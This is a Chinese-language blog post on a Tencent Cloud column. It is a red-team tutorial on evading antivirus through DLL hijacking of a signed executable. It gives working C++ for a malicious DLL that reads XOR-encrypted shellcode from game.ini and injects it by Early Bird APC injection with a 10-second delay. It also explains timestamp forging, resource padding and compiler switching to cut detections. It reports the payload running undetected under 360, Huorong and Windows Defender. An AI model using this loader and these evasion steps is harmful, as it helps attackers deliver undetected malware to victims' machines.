前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >利用白加黑静态逃逸杀软

利用白加黑静态逃逸杀软

作者头像
亿人安全
发布2024-03-18 18:25:28
1481
发布2024-03-18 18:25:28
举报
文章被收录于专栏:红蓝对抗红蓝对抗

本文记录的我学习实现白+黑免杀的过程,以及遇到了shellcode编写32位无法注入64的问题,最后组合了各种静态规避手段,成功静态层面逃逸大部分的杀软。成品和源码可以在最下方的先知的附件中可以拿到,仅供学习参考。

基本背景

在与杀毒软件的对抗中,即使恶意代码再隐蔽,一旦被发现,它的生命便结束了。杀毒软件厂商通过算法如MD5等获取样本的唯一值来构建云端特征库,另一方面很多合法的软件也需要要用到一些敏感的系统动作,于是就出现了软件签名技术。

软件开发厂商会对自己发布的软件进行签名,这样即使出现敏感动作(截图、图形远程控制)杀软也会放行动作,大大提高了正常用户的体验。

但是软件开发厂商随着开发时间的推移,即使是安全做的最好的公司也出现管理方面的混乱,很多软件由于开发的历史包袱就出现了一堆dll劫持漏洞,未校验签名的情况,甚至是泄露的句柄和token等等。在这种背景下,黑客就会劫持持有白签名的exe来使得恶意代码更加隐蔽,这就是所谓的白加黑。

DLL基础

编写一个恶意的dll正常程序没有太大区别,只不过函数的入口约定成了如下形式:

代码语言:javascript
复制
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACHED:
            HelloWorld(); // A process is loading the DLL.
        break;
        case DLL_THREAD_ATTACHED: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

void HelloWorld() { MessageBox( NULL, TEXT("Hello World"), TEXT("In a DLL"), MB_OK); }

当dll被加载的时候就会进入DLL_PROCESS_ATTACHED中执行其中HelloWorld()函数,一般开发者会导出自己写的函数给主程序使用:

代码语言:javascript
复制
extern __declspec(dllexport) void HelloWorld();

主程序需要获取这个函数的地址来调用:

代码语言:javascript
复制
HINSTANCE hinstDLL = ::LoadLibrary(L"Dll_test.dll");
if (hinstDLL != NULL) {
    FunctionType HelloWorld = (FunctionType)GetProcAddress(hinstDLL, "");
    if (HelloWorld != NULL) {
        HelloWorld();
    }
    else {
        std::cerr << "Failed to find s function in the DLL." << ::GetLastError() << std::endl;
    }
}
else {
    // 处理错误:加载DLL失败
    std::cerr << "Failed to load the DLL." << ::GetLastError() << std::endl;
}

可以看到正常的的开发者一般都会直接LoadLibrary,这就很容易让我们去劫持dll。

寻找具备未被检验签名的DLL

其实没什么好说的,就是在网上不停的下载安装包,查找安装的软件,然后不断复制出exe,双击看看会不会弹出“缺少xxx.dll”的警告,一天速度快能挖一堆这玩意,绝大部分软件厂商的exe压根不会校验自己的dll有没有篡改,just load。经过一个小时多,我找到了一个游戏加速器的比较好用

只缺失一个dll,有些exe缺失一堆的在红队操作中来回上传就显得有点麻烦了:

编写dll VS project:

当我们找好了可以劫持的dll后就可以编写恶意的dll了,不过如果dll导出函数太多的话,一个个去复制粘贴太累了,不现实,这里我们要使用工具 AheadLibEx.exe,这将帮助我们轻松生成一个VS project:

打开生成的VS project我们发现它帮我们生成的很多函数,我们不需要可以直接删掉,这并不影响我们后续恶意代码运行:

可以看到里面的load和init函数我们其实都不需要,直接删掉里面代码,保留最基本都入口就可以了

代码语言:javascript
复制
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);
        //这里写我们的恶意代码
        。。。。。。。。
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
        Free();
    }
    return TRUE;
}

注意事项:

  1. 编译的时候要注意程序位数,我们的具备白签名的文件是32位,dll也得是32位
  2. 有些不同版本的编译器似乎无法正确解析__asm jmp汇编代码,可以直接批量//注释掉不影响运行
  3. cpp17和cpp20标准编译可能有无法预测的行为会导致编译失败,我暂时还没弄清楚原因,本文代码建议用cpp17标准

编写注入方法

这里我将使用 Early Bird APC注入(早鸟APC注入),Early Bird是一种简单而强大的技术,Early Bird本质上是一种APC注入与线程劫持的变体,由于线程初始化时会调用ntdll未导出函数NtTestAlert,该函数会清空并处理APC队列,所以注入的代码通常在进程的主线程的入口点之前运行并接管进程控制权,从而避免了反恶意软件产品的钩子的检测,同时获得一个合法进程的环境信息

第一步,利用CreateProcessA拉起一个挂起的进程,这里我使用DEBUG_PROCESS标志位来阻塞它使其具备APC注入的条件

代码语言:javascript
复制
std::tuple<DWORD, HANDLE, HANDLE> CreateProcessAndStop(const std::string& lpProcessName) {
    std::string lpPath =  lpProcessName;
    std::cout << "\n\t[i] Running: \"" << lpPath << "\" ... ";
    STARTUPINFOA Si = { sizeof(STARTUPINFOA) };
    PROCESS_INFORMATION Pi = { 0 };

    if (!CreateProcessA(NULL, (LPSTR)(lpPath.data()), NULL, NULL, FALSE, DEBUG_PROCESS, NULL, NULL, &Si, &Pi)) {
        std::cerr << "[!] CreateProcessA Failed with Error : " << GetLastError() << std::endl;
        return { 0, INVALID_HANDLE_VALUE, INVALID_HANDLE_VALUE };
    }
    std::cout << "[+] DONE" << std::endl;
    return { Pi.dwProcessId, Pi.hProcess, Pi.hThread };
}

第二步,利用正常的注入技术注入到拉起的新进程中,非常经典的三个函数调用:

  • VirtualAllocEx分配一个rw内存
  • WriteProcessMemory写入shellcode
  • VirtualProtectEx修改内存权限为rx
代码语言:javascript
复制
std::tuple<BOOL, PVOID> InjectShellcode(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode) {
    SIZE_T sNumberOfBytesWritten = NULL;
    PVOID pAddress = nullptr;
    pAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pAddress == NULL) {
        std::cerr << "\n\t[!] VirtualAllocEx Failed With Error : " << GetLastError() << std::endl;
        return std::make_tuple(FALSE, nullptr);
    }
    std::cout << "\n\t[i] Allocated Memory At : 0x" << pAddress << std::endl;
    std::cout << "\t[#] Press <Enter> To Write Payload ... ";
    if (!WriteProcessMemory(hProcess, pAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
        std::cerr << "\n\t[!] WriteProcessMemory Failed With Error : " << GetLastError() << std::endl;
        VirtualFreeEx(hProcess, pAddress, 0, MEM_RELEASE);
        return std::make_tuple(FALSE, nullptr);
    }
    std::cout << "\t[i] Successfully Written " << sNumberOfBytesWritten << " Bytes" << std::endl;

    DWORD dwOldProtection = NULL;
    if (!VirtualProtectEx(hProcess, pAddress, sSizeOfShellcode, PAGE_EXECUTE_READ, &dwOldProtection)) {
        std::cerr << "\n\t[!] VirtualProtectEx Failed With Error : " << GetLastError() << std::endl;
        VirtualFreeEx(hProcess, pAddress, 0, MEM_RELEASE);
        return std::make_tuple(FALSE, nullptr);
    }

    return std::make_tuple(TRUE, pAddress);
}

第三步,需要调用插入APC队列,当回调发生的时候指向我们的shellcode地址

代码语言:javascript
复制
QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL);

第四步,使用DebugActiveProcessStop触发函数回调成功上线:

代码语言:javascript
复制
DebugActiveProcessStop(PId);

我画了个简单的图片描述了上述APC注入的流程:

编写加密和延迟方法

虽然有更高级的加密方法,但对付杀毒的静态查杀只需要使用XOR即可打乱所有特征,加密的key可以使用常见出现的字符规避签名,注意key不能太短,不然有一部分杀毒依然能检测到特征:

代码语言:javascript
复制
void XorByInputKey(std::vector<unsigned char>& shellcode, const std::string& key) {
    size_t shellcodeSize = shellcode.size();
    size_t keySize = key.size();

    for (size_t i = 0, j = 0; i < shellcodeSize; i++, j++) {
        if (j >= keySize) {
            j = 0;
        }
        shellcode[i] = shellcode[i] ^ key[j];
    }
}

同时为了对抗一些比较low的内存扫描和沙箱我们使用WaitForSingleObject等待杀毒分析完再运行起来:

代码语言:javascript
复制
WaitForSingleObject(GetCurrentThread(), 10000);

获取加密的shellcode

从本地文件game.ini中读取加密的shellcode

代码语言:javascript
复制
std::ifstream file("game.ini", std::ios::binary);
std::vector<unsigned char> shellcode;

if (file) {
    file.seekg(0, std::ios::end);
    size_t size = file.tellg();
    shellcode.resize(size);

    file.seekg(0, std::ios::beg);
    file.read(reinterpret_cast<char*>(shellcode.data()), size);
    file.close();
}

到这里DLLmain的全部逻辑就写完了,可以愉快的测试上线了,然而我x32dbg调了一天发现shellcode明明已经就位,每个环节也没有任何windows errors code返回,还是不上线,这是怎么回事?

存在32位进程无法注入64进程的问题

经过一天排查资料我找到了原因:

通常来说,32位的程序只能注入32位的程序,64也只能注入64位的程序,运行在Wow64下的32位程序默认调用的是x32的API,kernel32导出的API地址在32位和64位下的地址是不同的,也没办法直接调用x64下的API,也就导致了APC创建线程肯定会直接崩溃。

简单的解决办法是直接拉起一个32位的进程,每次根据情况来调整这个参数:

代码语言:javascript
复制
auto [PId, hProcess, hThread] = CreateProcessAndStop("C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe");

不过渗透环境比较复杂,我们还是得想办法切换线程bit模式来适应这个问题,不过由于实现过于复杂,涉及到大量的汇编代码,遗憾的是我现在水平确实不够,不过我发现msf确实有解决方案能从32位进程注入64进程,师傅有兴趣可以去看源码研究一下

进一步静态规避

个别杀毒喜欢给最近创建的文件标记为可疑,这里我们需要修改时间戳,可以使用工具修改一下为最近的时间:

代码语言:javascript
复制
ChangeTimestamp.exe   evil.dll  2022-12-12  11:11:50

这样看起来系统编译的时间就比较正常了:

卡巴斯基的启发式查杀对这类的较小的dll容易检测出dll劫持,我这里使用添加静态资源来规避:

选择一个合适的ico,大家电脑上一堆,找个大一点的就可以了:

默认的VS设置比较坑爹,在release模式下依然会带上调试信息,清单信息,里面的信息包含编译的路径和用户名,这导致攻防的时候有部分搞免杀的师傅被溯源出来id,就连不少顶级APT组织都翻车过,微软你坏事做尽(笑),我们得去资源方案关掉这个坑爹的选项:

最后注释掉所有我们debug的打印信息,上传VT查看静态效果,印象中32位的免杀效果一般都比较差,这个结果总体来说还可以了

更加底层的静态规避:

刚刚的效果看起来已经还行啦,3/71的效果,特征其实在MT里面了,不过你还希望更好可以参考这篇文章利用gcc编译器取消所有特征,这里直接给出文章里面的编译方法:

代码语言:javascript
复制
g++ main.cpp -o main.exe -mconsole -fno-stack-protector -fvisibility=hidden -Wl,--dy

你可能和我一样懒得去linux编译安装,可以参考这个文章去官网安装Intel C++编译器到我们的VS项目里面

不得不点名表扬一下intel的这个开发工具,真是一条龙服务,安装完成之后默认的平台编译工具直接帮我们配置好了,直接切换其他编译器正常编译就行了。

你可能会好奇为什么LLVM和lnetel编译的规避效果更好,实际上是因为杀毒特征采用的是基于模糊哈希算法的恶意代码检测,大部分黑客早期都一直在用默认的编译器去编写恶意代码导致就连正常的编译的都会报毒了,像这种比较冷门的编译器用的人少,产生的特征就更少效果自然好不少。

说到这里就不得不提一下基于LLVM的混淆了,大部分杀毒的特征码容易出现在循环和独有的字符串上,于是有大佬就在底层上patch了llvm底层编译的状态,使得简单的控制流都变得非常复杂:

图来自github,我这里就不再尝试了,有兴趣的师傅可以折腾一下,这方面就算是非常底层的混淆,已经远远超出我们当下的讨论的范围。

上线测试效果

现在开始测试上线,为了避免一下就GG我们生成的payload请选择stagless,同时要使用Malleable C2中的修改后的流量,这样将进一步降低流量特征,同时启用system call中的indirect(间接系统调用)避免一些杀毒的hook,output生成raw之后用加密器加密一下就好了。

360不喜欢我们用微软默认的编译器,这杀毒老是喜欢乱杀-即便你就编译一个helloword,我实际测试用到就是clang编译器的编译成品;360和火绒是没有内存查杀的,流量检测也很简陋,绕过还是比较简单:

360查杀效果:

动态效果运行一段时间也很正常:

火绒查杀效果:

运行一段时间也没问题:

挑战一下防御全开的windows defender这种有内存查杀和流量检测都还可以的,上线没问题,启动扫描后依然一切正常,就不放上线的图了:

本来前面的测试想放GIF的,但是全录起来几分钟就显得没必要了。

本文参与?腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2024-03-12,如有侵权请联系?cloudcommunity@tencent.com 删除

本文分享自 亿人安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与?腾讯云自媒体分享计划? ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 基本背景
  • DLL基础
  • 寻找具备未被检验签名的DLL
  • 编写dll VS project:
  • 编写注入方法
  • 编写加密和延迟方法
  • 获取加密的shellcode
  • 存在32位进程无法注入64进程的问题
  • 进一步静态规避
  • 上线测试效果
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
http://www.vxiaotou.com